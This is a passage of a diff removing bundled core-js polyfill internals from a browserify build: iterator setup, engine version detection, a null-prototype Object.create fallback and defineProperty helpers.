INCORRECT_VALUES_NAME }, methods); - } - - // define iterator - if ((!IS_PURE || FORCED) && IterablePrototype[ITERATOR] !== defaultIterator) { - redefine(IterablePrototype, ITERATOR, defaultIterator, { name: DEFAULT }); - } - Iterators[NAME] = defaultIterator; - - return methods; -}; - -},{"../internals/create-iterator-constructor":77,"../internals/create-non-enumerable-property":78,"../internals/export":93,"../internals/function-call":97,"../internals/function-name":98,"../internals/is-callable":114,"../internals/is-pure":118,"../internals/iterators":122,"../internals/iterators-core":121,"../internals/object-get-prototype-of":134,"../internals/object-set-prototype-of":139,"../internals/redefine":143,"../internals/set-to-string-tag":147,"../internals/well-known-symbol":166}],82:[function(require,module,exports){ -var path = require('../internals/path'); -var hasOwn = require('../internals/has-own-property'); -var wrappedWellKnownSymbolModule = require('../internals/well-known-symbol-wrapped'); -var defineProperty = require('../internals/object-define-property').f; - -module.exports = function (NAME) { - var Symbol = path.Symbol || (path.Symbol = {}); - if (!hasOwn(Symbol, NAME)) defineProperty(Symbol, NAME, { - value: wrappedWellKnownSymbolModule.f(NAME) - }); -}; - -},{"../internals/has-own-property":105,"../internals/object-define-property":129,"../internals/path":142,"../internals/well-known-symbol-wrapped":165}],83:[function(require,module,exports){ -var fails = require('../internals/fails'); - -// Detect IE8's incomplete defineProperty implementation -module.exports = !fails(function () { - // eslint-disable-next-line es/no-object-defineproperty -- required for testing - return Object.defineProperty({}, 1, { get: function () { return 7; } })[1] != 7; -}); - -},{"../internals/fails":94}],84:[function(require,module,exports){ -var global = require('../internals/global'); -var isObject = require('../internals/is-object'); - -var document = global.document; -// typeof document.createElement is 'object' in old IE -var EXISTS = isObject(document) && isObject(document.createElement); - -module.exports = function (it) { - return EXISTS ? document.createElement(it) : {}; -}; - -},{"../internals/global":104,"../internals/is-object":117}],85:[function(require,module,exports){ -// iterable DOM collections -// flag - `iterable` interface - 'entries', 'keys', 'values', 'forEach' methods -module.exports = { - CSSRuleList: 0, - CSSStyleDeclaration: 0, - CSSValueList: 0, - ClientRectList: 0, - DOMRectList: 0, - DOMStringList: 0, - DOMTokenList: 1, - DataTransferItemList: 0, - FileList: 0, - HTMLAllCollection: 0, - HTMLCollection: 0, - HTMLFormElement: 0, - HTMLSelectElement: 0, - MediaList: 0, - MimeTypeArray: 0, - NamedNodeMap: 0, - NodeList: 1, - PaintRequestList: 0, - Plugin: 0, - PluginArray: 0, - SVGLengthList: 0, - SVGNumberList: 0, - SVGPathSegList: 0, - SVGPointList: 0, - SVGStringList: 0, - SVGTransformList: 0, - SourceBufferList: 0, - StyleSheetList: 0, - TextTrackCueList: 0, - TextTrackList: 0, - TouchList: 0 -}; - -},{}],86:[function(require,module,exports){ -var userAgent = require('../internals/engine-user-agent'); - -var firefox = userAgent.match(/firefox\/(\d+)/i); - -module.exports = !!firefox && +firefox[1]; - -},{"../internals/engine-user-agent":88}],87:[function(require,module,exports){ -var UA = require('../internals/engine-user-agent'); - -module.exports = /MSIE|Trident/.test(UA); - -},{"../internals/engine-user-agent":88}],88:[function(require,module,exports){ -var getBuiltIn = require('../internals/get-built-in'); - -module.exports = getBuiltIn('navigator', 'userAgent') || ''; - -},{"../internals/get-built-in":100}],89:[function(require,module,exports){ -var global = require('../internals/global'); -var userAgent = require('../internals/engine-user-agent'); - -var process = global.process; -var Deno = global.Deno; -var versions = process && process.versions || Deno && Deno.version; -var v8 = versions && versions.v8; -var match, version; - -if (v8) { - match = v8.split('.'); - // in old Chrome, versions of V8 isn't V8 = Chrome / 10 - // but their correct versions are not interesting for us - version = match[0] > 0 && match[0] < 4 ? 1 : +(match[0] + match[1]); -} - -// BrowserFS NodeJS `process` polyfill incorrectly set `.v8` to `0.0` -// so check `userAgent` even if `.v8` exists, but 0 -if (!version && userAgent) { - match = userAgent.match(/Edge\/(\d+)/); - if (!match || match[1] >= 74) { - match = userAgent.match(/Chrome\/(\d+)/); - if (match) version = +match[1]; - } -} - -module.exports = version; - -},{"../internals/engine-user-agent":88,"../internals/global":104}],90:[function(require,module,exports){ -var userAgent = require('../internals/engine-user-agent'); - -var webkit = userAgent.match(/AppleWebKit\/(\d+)\./); - -module.exports = !!webkit && +webkit[1]; - -},{"../internals/engine-user-agent":88}],91:[function(require,module,exports){ -var path = require('../internals/path'); - -module.exports = function (CONSTRUCTOR) { - return path[CONSTRUCTOR + 'Prototype']; -}; - -},{"../internals/path":142}],92:[function(require,module,exports){ -// IE8- don't enum bug keys -module.exports = [ - 'constructor', - 'hasOwnProperty', - 'isPrototypeOf', - 'propertyIsEnumerable', - 'toLocaleString', - 'toString', - 'valueOf' -]; - -},{}],93:[function(require,module,exports){ -'use strict'; -var global = require('../internals/global'); -var apply = require('../internals/function-apply'); -var uncurryThis = require('../internals/function-uncurry-this'); -var isCallable = require('../internals/is-callable'); -var getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f; -var isForced = require('../internals/is-forced'); -var path = require('../internals/path'); -var bind = require('../internals/function-bind-context'); -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); -var hasOwn = require('../internals/has-own-property'); - -var wrapConstructor = function (NativeConstructor) { - var Wrapper = function (a, b, c) { - if (this instanceof Wrapper) { - switch (arguments.length) { - case 0: return new NativeConstructor(); - case 1: return new NativeConstructor(a); - case 2: return new NativeConstructor(a, b); - } return new NativeConstructor(a, b, c); - } return apply(NativeConstructor, this, arguments); - }; - Wrapper.prototype = NativeConstructor.prototype; - return Wrapper; -}; - -/* - options.target - name of the target object - options.global - target is the global object - options.stat - export as static methods of target - options.proto - export as prototype methods of target - options.real - real prototype method for the `pure` version - options.forced - export even if the native feature is available - options.bind - bind methods to the target, required for the `pure` version - options.wrap - wrap constructors to preventing global pollution, required for the `pure` version - options.unsafe - use the simple assignment of property instead of delete + defineProperty - options.sham - add a flag to not completely full polyfills - options.enumerable - export as enumerable property - options.noTargetGet - prevent calling a getter on target - options.name - the .name of the function if it does not match the key -*/ -module.exports = function (options, source) { - var TARGET = options.target; - var GLOBAL = options.global; - var STATIC = options.stat; - var PROTO = options.proto; - - var nativeSource = GLOBAL ? global : STATIC ? global[TARGET] : (global[TARGET] || {}).prototype; - - var target = GLOBAL ? path : path[TARGET] || createNonEnumerableProperty(path, TARGET, {})[TARGET]; - var targetPrototype = target.prototype; - - var FORCED, USE_NATIVE, VIRTUAL_PROTOTYPE; - var key, sourceProperty, targetProperty, nativeProperty, resultProperty, descriptor; - - for (key in source) { - FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced); - // contains in native - USE_NATIVE = !FORCED && nativeSource && hasOwn(nativeSource, key); - - targetProperty = target[key]; - - if (USE_NATIVE) if (options.noTargetGet) { - descriptor = getOwnPropertyDescriptor(nativeSource, key); - nativeProperty = descriptor && descriptor.value; - } else nativeProperty = nativeSource[key]; - - // export native or implementation - sourceProperty = (USE_NATIVE && nativeProperty) ? nativeProperty : source[key]; - - if (USE_NATIVE && typeof targetProperty == typeof sourceProperty) continue; - - // bind timers to global for call from export context - if (options.bind && USE_NATIVE) resultProperty = bind(sourceProperty, global); - // wrap global constructors for prevent changs in this version - else if (options.wrap && USE_NATIVE) resultProperty = wrapConstructor(sourceProperty); - // make static versions for prototype methods - else if (PROTO && isCallable(sourceProperty)) resultProperty = uncurryThis(sourceProperty); - // default case - else resultProperty = sourceProperty; - - // add a flag to not completely full polyfills - if (options.sham || (sourceProperty && sourceProperty.sham) || (targetProperty && targetProperty.sham)) { - createNonEnumerableProperty(resultProperty, 'sham', true); - } - - createNonEnumerableProperty(target, key, resultProperty); - - if (PROTO) { - VIRTUAL_PROTOTYPE = TARGET + 'Prototype'; - if (!hasOwn(path, VIRTUAL_PROTOTYPE)) { - createNonEnumerableProperty(path, VIRTUAL_PROTOTYPE, {}); - } - // export virtual prototype methods - createNonEnumerableProperty(path[VIRTUAL_PROTOTYPE], key, sourceProperty); - // export real prototype methods - if (options.real && targetPrototype && !targetPrototype[key]) { - createNonEnumerableProperty(targetPrototype, key, sourceProperty); - } - } - } -}; - -},{"../internals/create-non-enumerable-property":78,"../internals/function-apply":95,"../internals/function-bind-context":96,"../internals/function-uncurry-this":99,"../internals/global":104,"../internals/has-own-property":105,"../internals/is-callable":114,"../internals/is-forced":116,"../internals/object-get-own-property-descriptor":130,"../internals/path":142}],94:[function(require,module,exports){ -module.exports = function (exec) { - try { - return !!exec(); - } catch (error) { - return true; - } -}; - -},{}],95:[function(require,module,exports){ -var FunctionPrototype = Function.prototype; -var apply = FunctionPrototype.apply; -var bind = FunctionPrototype.bind; -var call = FunctionPrototype.call; - -// eslint-disable-next-line es/no-reflect -- safe -module.exports = typeof Reflect == 'object' && Reflect.apply || (bind ? call.bind(apply) : function () { - return call.apply(apply, arguments); -}); - -},{}],96:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var aCallable = require('../internals/a-callable'); - -var bind = uncurryThis(uncurryThis.bind); - -// optional / simple context binding -module.exports = function (fn, that) { - aCallable(fn); - return that === undefined ? fn : bind ? bind(fn, that) : function (/* ...args */) { - return fn.apply(that, arguments); - }; -}; - -},{"../internals/a-callable":57,"../internals/function-uncurry-this":99}],97:[function(require,module,exports){ -var call = Function.prototype.call; - -module.exports = call.bind ? call.bind(call) : function () { - return call.apply(call, arguments); -}; - -},{}],98:[function(require,module,exports){ -var DESCRIPTORS = require('../internals/descriptors'); -var hasOwn = require('../internals/has-own-property'); - -var FunctionPrototype = Function.prototype; -// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe -var getDescriptor = DESCRIPTORS && Object.getOwnPropertyDescriptor; - -var EXISTS = hasOwn(FunctionPrototype, 'name'); -// additional protection from minified / mangled / dropped function names -var PROPER = EXISTS && (function something() { /* empty */ }).name === 'something'; -var CONFIGURABLE = EXISTS && (!DESCRIPTORS || (DESCRIPTORS && getDescriptor(FunctionPrototype, 'name').configurable)); - -module.exports = { - EXISTS: EXISTS, - PROPER: PROPER, - CONFIGURABLE: CONFIGURABLE -}; - -},{"../internals/descriptors":83,"../internals/has-own-property":105}],99:[function(require,module,exports){ -var FunctionPrototype = Function.prototype; -var bind = FunctionPrototype.bind; -var call = FunctionPrototype.call; -var callBind = bind && bind.bind(call); - -module.exports = bind ? function (fn) { - return fn && callBind(call, fn); -} : function (fn) { - return fn && function () { - return call.apply(fn, arguments); - }; -}; - -},{}],100:[function(require,module,exports){ -var path = require('../internals/path'); -var global = require('../internals/global'); -var isCallable = require('../internals/is-callable'); - -var aFunction = function (variable) { - return isCallable(variable) ? variable : undefined; -}; - -module.exports = function (namespace, method) { - return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global[namespace]) - : path[namespace] && path[namespace][method] || global[namespace] && global[namespace][method]; -}; - -},{"../internals/global":104,"../internals/is-callable":114,"../internals/path":142}],101:[function(require,module,exports){ -var classof = require('../internals/classof'); -var getMethod = require('../internals/get-method'); -var Iterators = require('../internals/iterators'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var ITERATOR = wellKnownSymbol('iterator'); - -module.exports = function (it) { - if (it != undefined) return getMethod(it, ITERATOR) - || getMethod(it, '@@iterator') - || Iterators[classof(it)]; -}; - -},{"../internals/classof":75,"../internals/get-method":103,"../internals/iterators":122,"../internals/well-known-symbol":166}],102:[function(require,module,exports){ -var global = require('../internals/global'); -var call = require('../internals/function-call'); -var aCallable = require('../internals/a-callable'); -var anObject = require('../internals/an-object'); -var tryToString = require('../internals/try-to-string'); -var getIteratorMethod = require('../internals/get-iterator-method'); - -var TypeError = global.TypeError; - -module.exports = function (argument, usingIterator) { - var iteratorMethod = arguments.length < 2 ? getIteratorMethod(argument) : usingIterator; - if (aCallable(iteratorMethod)) return anObject(call(iteratorMethod, argument)); - throw TypeError(tryToString(argument) + ' is not iterable'); -}; - -},{"../internals/a-callable":57,"../internals/an-object":60,"../internals/function-call":97,"../internals/get-iterator-method":101,"../internals/global":104,"../internals/try-to-string":162}],103:[function(require,module,exports){ -var aCallable = require('../internals/a-callable'); - -// `GetMethod` abstract operation -// https://tc39.es/ecma262/#sec-getmethod -module.exports = function (V, P) { - var func = V[P]; - return func == null ? undefined : aCallable(func); -}; - -},{"../internals/a-callable":57}],104:[function(require,module,exports){ -(function (global){(function (){ -var check = function (it) { - return it && it.Math == Math && it; -}; - -// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 -module.exports = - // eslint-disable-next-line es/no-global-this -- safe - check(typeof globalThis == 'object' && globalThis) || - check(typeof window == 'object' && window) || - // eslint-disable-next-line no-restricted-globals -- safe - check(typeof self == 'object' && self) || - check(typeof global == 'object' && global) || - // eslint-disable-next-line no-new-func -- fallback - (function () { return this; })() || Function('return this')(); - -}).call(this)}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) -},{}],105:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var toObject = require('../internals/to-object'); - -var hasOwnProperty = uncurryThis({}.hasOwnProperty); - -// `HasOwnProperty` abstract operation -// https://tc39.es/ecma262/#sec-hasownproperty -module.exports = Object.hasOwn || function hasOwn(it, key) { - return hasOwnProperty(toObject(it), key); -}; - -},{"../internals/function-uncurry-this":99,"../internals/to-object":157}],106:[function(require,module,exports){ -module.exports = {}; - -},{}],107:[function(require,module,exports){ -var getBuiltIn = require('../internals/get-built-in'); - -module.exports = getBuiltIn('document', 'documentElement'); - -},{"../internals/get-built-in":100}],108:[function(require,module,exports){ -var DESCRIPTORS = require('../internals/descriptors'); -var fails = require('../internals/fails'); -var createElement = require('../internals/document-create-element'); - -// Thank's IE8 for his funny defineProperty -module.exports = !DESCRIPTORS && !fails(function () { - // eslint-disable-next-line es/no-object-defineproperty -- requied for testing - return Object.defineProperty(createElement('div'), 'a', { - get: function () { return 7; } - }).a != 7; -}); - -},{"../internals/descriptors":83,"../internals/document-create-element":84,"../internals/fails":94}],109:[function(require,module,exports){ -var global = require('../internals/global'); -var uncurryThis = require('../internals/function-uncurry-this'); -var fails = require('../internals/fails'); -var classof = require('../internals/classof-raw'); - -var Object = global.Object; -var split = uncurryThis(''.split); - -// fallback for non-array-like ES3 and non-enumerable old V8 strings -module.exports = fails(function () { - // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346 - // eslint-disable-next-line no-prototype-builtins -- safe - return !Object('z').propertyIsEnumerable(0); -}) ? function (it) { - return classof(it) == 'String' ? split(it, '') : Object(it); -} : Object; - -},{"../internals/classof-raw":74,"../internals/fails":94,"../internals/function-uncurry-this":99,"../internals/global":104}],110:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var isCallable = require('../internals/is-callable'); -var store = require('../internals/shared-store'); - -var functionToString = uncurryThis(Function.toString); - -// this helper broken in `core-js@3.4.1-3.4.4`, so we can't use `shared` helper -if (!isCallable(store.inspectSource)) { - store.inspectSource = function (it) { - return functionToString(it); - }; -} - -module.exports = store.inspectSource; - -},{"../internals/function-uncurry-this":99,"../internals/is-callable":114,"../internals/shared-store":149}],111:[function(require,module,exports){ -var NATIVE_WEAK_MAP = require('../internals/native-weak-map'); -var global = require('../internals/global'); -var uncurryThis = require('../internals/function-uncurry-this'); -var isObject = require('../internals/is-object'); -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); -var hasOwn = require('../internals/has-own-property'); -var shared = require('../internals/shared-store'); -var sharedKey = require('../internals/shared-key'); -var hiddenKeys = require('../internals/hidden-keys'); - -var OBJECT_ALREADY_INITIALIZED = 'Object already initialized'; -var TypeError = global.TypeError; -var WeakMap = global.WeakMap; -var set, get, has; - -var enforce = function (it) { - return has(it) ? get(it) : set(it, {}); -}; - -var getterFor = function (TYPE) { - return function (it) { - var state; - if (!isObject(it) || (state = get(it)).type !== TYPE) { - throw TypeError('Incompatible receiver, ' + TYPE + ' required'); - } return state; - }; -}; - -if (NATIVE_WEAK_MAP || shared.state) { - var store = shared.state || (shared.state = new WeakMap()); - var wmget = uncurryThis(store.get); - var wmhas = uncurryThis(store.has); - var wmset = uncurryThis(store.set); - set = function (it, metadata) { - if (wmhas(store, it)) throw new TypeError(OBJECT_ALREADY_INITIALIZED); - metadata.facade = it; - wmset(store, it, metadata); - return metadata; - }; - get = function (it) { - return wmget(store, it) || {}; - }; - has = function (it) { - return wmhas(store, it); - }; -} else { - var STATE = sharedKey('state'); - hiddenKeys[STATE] = true; - set = function (it, metadata) { - if (hasOwn(it, STATE)) throw new TypeError(OBJECT_ALREADY_INITIALIZED); - metadata.facade = it; - createNonEnumerableProperty(it, STATE, metadata); - return metadata; - }; - get = function (it) { - return hasOwn(it, STATE) ? it[STATE] : {}; - }; - has = function (it) { - return hasOwn(it, STATE); - }; -} - -module.exports = { - set: set, - get: get, - has: has, - enforce: enforce, - getterFor: getterFor -}; - -},{"../internals/create-non-enumerable-property":78,"../internals/function-uncurry-this":99,"../internals/global":104,"../internals/has-own-property":105,"../internals/hidden-keys":106,"../internals/is-object":117,"../internals/native-weak-map":125,"../internals/shared-key":148,"../internals/shared-store":149}],112:[function(require,module,exports){ -var wellKnownSymbol = require('../internals/well-known-symbol'); -var Iterators = require('../internals/iterators'); - -var ITERATOR = wellKnownSymbol('iterator'); -var ArrayPrototype = Array.prototype; - -// check on default Array iterator -module.exports = function (it) { - return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it); -}; - -},{"../internals/iterators":122,"../internals/well-known-symbol":166}],113:[function(require,module,exports){ -var classof = require('../internals/classof-raw'); - -// `IsArray` abstract operation -// https://tc39.es/ecma262/#sec-isarray -// eslint-disable-next-line es/no-array-isarray -- safe -module.exports = Array.isArray || function isArray(argument) { - return classof(argument) == 'Array'; -}; - -},{"../internals/classof-raw":74}],114:[function(require,module,exports){ -// `IsCallable` abstract operation -// https://tc39.es/ecma262/#sec-iscallable -module.exports = function (argument) { - return typeof argument == 'function'; -}; - -},{}],115:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var fails = require('../internals/fails'); -var isCallable = require('../internals/is-callable'); -var classof = require('../internals/classof'); -var getBuiltIn = require('../internals/get-built-in'); -var inspectSource = require('../internals/inspect-source'); - -var noop = function () { /* empty */ }; -var empty = []; -var construct = getBuiltIn('Reflect', 'construct'); -var constructorRegExp = /^\s*(?:class|function)\b/; -var exec = uncurryThis(constructorRegExp.exec); -var INCORRECT_TO_STRING = !constructorRegExp.exec(noop); - -var isConstructorModern = function isConstructor(argument) { - if (!isCallable(argument)) return false; - try { - construct(noop, empty, argument); - return true; - } catch (error) { - return false; - } -}; - -var isConstructorLegacy = function isConstructor(argument) { - if (!isCallable(argument)) return false; - switch (classof(argument)) { - case 'AsyncFunction': - case 'GeneratorFunction': - case 'AsyncGeneratorFunction': return false; - } - try { - // we can't check .prototype since constructors produced by .bind haven't it - // `Function#toString` throws on some built-it function in some legacy engines - // (for example, `DOMQuad` and similar in FF41-) - return INCORRECT_TO_STRING || !!exec(constructorRegExp, inspectSource(argument)); - } catch (error) { - return true; - } -}; - -isConstructorLegacy.sham = true; - -// `IsConstructor` abstract operation -// https://tc39.es/ecma262/#sec-isconstructor -module.exports = !construct || fails(function () { - var called; - return isConstructorModern(isConstructorModern.call) - || !isConstructorModern(Object) - || !isConstructorModern(function () { called = true; }) - || called; -}) ? isConstructorLegacy : isConstructorModern; - -},{"../internals/classof":75,"../internals/fails":94,"../internals/function-uncurry-this":99,"../internals/get-built-in":100,"../internals/inspect-source":110,"../internals/is-callable":114}],116:[function(require,module,exports){ -var fails = require('../internals/fails'); -var isCallable = require('../internals/is-callable'); - -var replacement = /#|\.prototype\./; - -var isForced = function (feature, detection) { - var value = data[normalize(feature)]; - return value == POLYFILL ? true - : value == NATIVE ? false - : isCallable(detection) ? fails(detection) - : !!detection; -}; - -var normalize = isForced.normalize = function (string) { - return String(string).replace(replacement, '.').toLowerCase(); -}; - -var data = isForced.data = {}; -var NATIVE = isForced.NATIVE = 'N'; -var POLYFILL = isForced.POLYFILL = 'P'; - -module.exports = isForced; - -},{"../internals/fails":94,"../internals/is-callable":114}],117:[function(require,module,exports){ -var isCallable = require('../internals/is-callable'); - -module.exports = function (it) { - return typeof it == 'object' ? it !== null : isCallable(it); -}; - -},{"../internals/is-callable":114}],118:[function(require,module,exports){ -module.exports = true; - -},{}],119:[function(require,module,exports){ -var global = require('../internals/global'); -var getBuiltIn = require('../internals/get-built-in'); -var isCallable = require('../internals/is-callable'); -var isPrototypeOf = require('../internals/object-is-prototype-of'); -var USE_SYMBOL_AS_UID = require('../internals/use-symbol-as-uid'); - -var Object = global.Object; - -module.exports = USE_SYMBOL_AS_UID ? function (it) { - return typeof it == 'symbol'; -} : function (it) { - var $Symbol = getBuiltIn('Symbol'); - return isCallable($Symbol) && isPrototypeOf($Symbol.prototype, Object(it)); -}; - -},{"../internals/get-built-in":100,"../internals/global":104,"../internals/is-callable":114,"../internals/object-is-prototype-of":135,"../internals/use-symbol-as-uid":164}],120:[function(require,module,exports){ -var call = require('../internals/function-call'); -var anObject = require('../internals/an-object'); -var getMethod = require('../internals/get-method'); - -module.exports = function (iterator, kind, value) { - var innerResult, innerError; - anObject(iterator); - try { - innerResult = getMethod(iterator, 'return'); - if (!innerResult) { - if (kind === 'throw') throw value; - return value; - } - innerResult = call(innerResult, iterator); - } catch (error) { - innerError = true; - innerResult = error; - } - if (kind === 'throw') throw value; - if (innerError) throw innerResult; - anObject(innerResult); - return value; -}; - -},{"../internals/an-object":60,"../internals/function-call":97,"../internals/get-method":103}],121:[function(require,module,exports){ -'use strict'; -var fails = require('../internals/fails'); -var isCallable = require('../internals/is-callable'); -var create = require('../internals/object-create'); -var getPrototypeOf = require('../internals/object-get-prototype-of'); -var redefine = require('../internals/redefine'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var IS_PURE = require('../internals/is-pure'); - -var ITERATOR = wellKnownSymbol('iterator'); -var BUGGY_SAFARI_ITERATORS = false; - -// `%IteratorPrototype%` object -// https://tc39.es/ecma262/#sec-%iteratorprototype%-object -var IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator; - -/* eslint-disable es/no-array-prototype-keys -- safe */ -if ([].keys) { - arrayIterator = [].keys(); - // Safari 8 has buggy iterators w/o `next` - if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true; - else { - PrototypeOfArrayIteratorPrototype = getPrototypeOf(getPrototypeOf(arrayIterator)); - if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype; - } -} - -var NEW_ITERATOR_PROTOTYPE = IteratorPrototype == undefined || fails(function () { - var test = {}; - // FF44- legacy iterators case - return IteratorPrototype[ITERATOR].call(test) !== test; -}); - -if (NEW_ITERATOR_PROTOTYPE) IteratorPrototype = {}; -else if (IS_PURE) IteratorPrototype = create(IteratorPrototype); - -// `%IteratorPrototype%[@@iterator]()` method -// https://tc39.es/ecma262/#sec-%iteratorprototype%-@@iterator -if (!isCallable(IteratorPrototype[ITERATOR])) { - redefine(IteratorPrototype, ITERATOR, function () { - return this; - }); -} - -module.exports = { - IteratorPrototype: IteratorPrototype, - BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS -}; - -},{"../internals/fails":94,"../internals/is-callable":114,"../internals/is-pure":118,"../internals/object-create":127,"../internals/object-get-prototype-of":134,"../internals/redefine":143,"../internals/well-known-symbol":166}],122:[function(require,module,exports){ -arguments[4][106][0].apply(exports,arguments) -},{"dup":106}],123:[function(require,module,exports){ -var toLength = require('../internals/to-length'); - -// `LengthOfArrayLike` abstract operation -// https://tc39.es/ecma262/#sec-lengthofarraylike -module.exports = function (obj) { - return toLength(obj.length); -}; - -},{"../internals/to-length":156}],124:[function(require,module,exports){ -/* eslint-disable es/no-symbol -- required for testing */ -var V8_VERSION = require('../internals/engine-v8-version'); -var fails = require('../internals/fails'); - -// eslint-disable-next-line es/no-object-getownpropertysymbols -- required for testing -module.exports = !!Object.getOwnPropertySymbols && !fails(function () { - var symbol = Symbol(); - // Chrome 38 Symbol has incorrect toString conversion - // `get-own-property-symbols` polyfill symbols converted to object are not Symbol instances - return !String(symbol) || !(Object(symbol) instanceof Symbol) || - // Chrome 38-40 symbols are not inherited from DOM collections prototypes to instances - !Symbol.sham && V8_VERSION && V8_VERSION < 41; -}); - -},{"../internals/engine-v8-version":89,"../internals/fails":94}],125:[function(require,module,exports){ -var global = require('../internals/global'); -var isCallable = require('../internals/is-callable'); -var inspectSource = require('../internals/inspect-source'); - -var WeakMap = global.WeakMap; - -module.exports = isCallable(WeakMap) && /native code/.test(inspectSource(WeakMap)); - -},{"../internals/global":104,"../internals/inspect-source":110,"../internals/is-callable":114}],126:[function(require,module,exports){ -var global = require('../internals/global'); -var fails = require('../internals/fails'); -var uncurryThis = require('../internals/function-uncurry-this'); -var toString = require('../internals/to-string'); -var trim = require('../internals/string-trim').trim; -var whitespaces = require('../internals/whitespaces'); - -var $parseInt = global.parseInt; -var Symbol = global.Symbol; -var ITERATOR = Symbol && Symbol.iterator; -var hex = /^[+-]?0x/i; -var exec = uncurryThis(hex.exec); -var FORCED = $parseInt(whitespaces + '08') !== 8 || $parseInt(whitespaces + '0x16') !== 22 - // MS Edge 18- broken with boxed symbols - || (ITERATOR && !fails(function () { $parseInt(Object(ITERATOR)); })); - -// `parseInt` method -// https://tc39.es/ecma262/#sec-parseint-string-radix -module.exports = FORCED ? function parseInt(string, radix) { - var S = trim(toString(string)); - return $parseInt(S, (radix >>> 0) || (exec(hex, S) ? 16 : 10)); -} : $parseInt; - -},{"../internals/fails":94,"../internals/function-uncurry-this":99,"../internals/global":104,"../internals/string-trim":152,"../internals/to-string":161,"../internals/whitespaces":167}],127:[function(require,module,exports){ -/* global ActiveXObject -- old IE, WSH */ -var anObject = require('../internals/an-object'); -var defineProperties = require('../internals/object-define-properties'); -var enumBugKeys = require('../internals/enum-bug-keys'); -var hiddenKeys = require('../internals/hidden-keys'); -var html = require('../internals/html'); -var documentCreateElement = require('../internals/document-create-element'); -var sharedKey = require('../internals/shared-key'); - -var GT = '>'; -var LT = '<'; -var PROTOTYPE = 'prototype'; -var SCRIPT = 'script'; -var IE_PROTO = sharedKey('IE_PROTO'); - -var EmptyConstructor = function () { /* empty */ }; - -var scriptTag = function (content) { - return LT + SCRIPT + GT + content + LT + '/' + SCRIPT + GT; -}; - -// Create object with fake `null` prototype: use ActiveX Object with cleared prototype -var NullProtoObjectViaActiveX = function (activeXDocument) { - activeXDocument.write(scriptTag('')); - activeXDocument.close(); - var temp = activeXDocument.parentWindow.Object; - activeXDocument = null; // avoid memory leak - return temp; -}; - -// Create object with fake `null` prototype: use iframe Object with cleared prototype -var NullProtoObjectViaIFrame = function () { - // Thrash, waste and sodomy: IE GC bug - var iframe = documentCreateElement('iframe'); - var JS = 'java' + SCRIPT + ':'; - var iframeDocument; - iframe.style.display = 'none'; - html.appendChild(iframe); - // https://github.com/zloirock/core-js/issues/475 - iframe.src = String(JS); - iframeDocument = iframe.contentWindow.document; - iframeDocument.open(); - iframeDocument.write(scriptTag('document.F=Object')); - iframeDocument.close(); - return iframeDocument.F; -}; - -// Check for document.domain and active x support -// No need to use active x approach when document.domain is not set -// see https://github.com/es-shims/es5-shim/issues/150 -// variation of https://github.com/kitcambridge/es5-shim/commit/4f738ac066346 -// avoid IE GC bug -var activeXDocument; -var NullProtoObject = function () { - try { - activeXDocument = new ActiveXObject('htmlfile'); - } catch (error) { /* ignore */ } - NullProtoObject = typeof document != 'undefined' - ? document.domain && activeXDocument - ? NullProtoObjectViaActiveX(activeXDocument) // old IE - : NullProtoObjectViaIFrame() - : NullProtoObjectViaActiveX(activeXDocument); // WSH - var length = enumBugKeys.length; - while (length--) delete NullProtoObject[PROTOTYPE][enumBugKeys[length]]; - return NullProtoObject(); -}; - -hiddenKeys[IE_PROTO] = true; - -// `Object.create` method -// https://tc39.es/ecma262/#sec-object.create -module.exports = Object.create || function create(O, Properties) { - var result; - if (O !== null) { - EmptyConstructor[PROTOTYPE] = anObject(O); - result = new EmptyConstructor(); - EmptyConstructor[PROTOTYPE] = null; - // add "__proto__" for Object.getPrototypeOf polyfill - result[IE_PROTO] = O; - } else result = NullProtoObject(); - return Properties === undefined ? result : defineProperties(result, Properties); -}; - -},{"../internals/an-object":60,"../internals/document-create-element":84,"../internals/enum-bug-keys":92,"../internals/hidden-keys":106,"../internals/html":107,"../internals/object-define-properties":128,"../internals/shared-key":148}],128:[function(require,module,exports){ -var DESCRIPTORS = require('../internals/descriptors'); -var definePropertyModule = require('../internals/object-define-property'); -var anObject = require('../internals/an-object'); -var toIndexedObject = require('../internals/to-indexed-object'); -var objectKeys = require('../internals/object-keys'); - -// `Object.defineProperties` method -// https://tc39.es/ecma262/#sec-object.defineproperties -// eslint-disable-next-line es/no-object-defineproperties -- safe -module.exports = DESCRIPTORS ? Object.defineProperties : function defineProperties(O, Properties) { - anObject(O); - var props = toIndexedObject(Properties); - var keys = objectKeys(Properties); - var length = keys.length; - var index = 0; - var key; - while (length > index) definePropertyModule.f(O, key = keys[index++], props[key]); - return O; -}; - -},{"../internals/an-object":60,"../internals/descriptors":83,"../internals/object-define-property":129,"../internals/object-keys":137,"../internals/to-indexed-object":154}],129:[function(require,module,exports){ -var global = require('../internals/global'); -var DESCRIPTORS = require('../internals/descriptors'); -var IE8_DOM_DEFINE = require('../internals/ie8-dom-define'); -var anObject = require('../internals/an-object'); -var toPropertyKey = require('../internals/to-property-key'); - -var TypeError = global.TypeError; -// eslint-disable-next-line es/no-object-defineproperty -- safe -var $defineProperty = Object.defineProperty; - -// `Object.defineProperty` method -// https://tc39.es/ecma262/#sec-object.defineproperty -exports.f = DESCRIPTORS ? $defineProperty : function defineProperty(O, P, 